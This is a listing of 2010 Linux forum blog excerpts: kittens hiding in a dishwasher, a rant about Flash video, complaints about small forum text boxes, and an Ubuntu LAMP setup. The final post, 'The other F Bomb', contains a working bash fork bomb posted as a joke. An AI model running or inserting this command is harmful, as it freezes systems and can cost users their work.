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Cats

Posted 08-31-2010 at 12:55 AM by damgar

So my wife decided we needed pets. I thought my kids were all the animals we needed, but she over ruled me. Growing up I always had pets, but we always got them immediately after they were weened. These cats are about 4 months old, and they are just antisocial little things. So far I've had to disassemble the dishwasher to get one out of it's hiding place and put blankets under the recliner to keep people from killing the cats. On the plus side they are litter box trained so all in all it...
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Something a little less "deep", and more "practical" (well, to me at least)

Posted 08-30-2010 at 09:33 PM by MrCode
Updated 12-28-2010 at 09:32 PM by MrCode
Tags flash, linux, rant

Sometimes when I see someone watching an HD video with the embedded (*shudder*) Flash player on a website, I just want to say someting like, "Do you have any idea how many CPU cycles are being burned up just to play that video??".

If I want to watch a video on YouTube (or some other video-hosting website) that offers a higher vertical resolution than 480p, I use my fancy little DownloadHelper FF plugin and just download it. Then I can play it with GNOME MPlayer, which has...
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Why are text input boxes so small for forums?

Posted 08-30-2010 at 06:50 AM by William (Dthdealer) (Whaling the FOSS)

I hate this.

It does not really matter which forum you go to, even Linux Questions is at fault here.

You go to type a post, and are provided with a pokey[1] small text box to do it in that is smaller than the Microsoft Windows EULA textbox above the 'I agree' button ( and that is small! ). Why? Just why? you're better off writing your post in a text editor such as Leafpad and then copying the text into the box.

Even on what is considered the smallest...
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Step By Step Ubuntu 10.04 (Lucid Lynx) LAMP Server Setup

Posted 08-30-2010 at 02:43 AM by sridhar11

In around 15 minutes, the time it takes to install Ubuntu Server Edition, you can have a LAMP (Linux, Apache,MySQL and PHP) server up and ready to go. This feature,exclusive to Ubuntu Server Edition, is available at the time of installation.The LAMP option means you don’t have to install and integrate each of the four separate LAMP components.

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The other F Bomb

Posted 08-29-2010 at 03:13 AM by Kenny_Strawn (Kenny the one-teen comittee to stamp out Proprietary $uckware)
Updated 08-29-2010 at 10:50 PM by Kenny_Strawn

Code:
#!/bin/bash

:(){ :|:& };:
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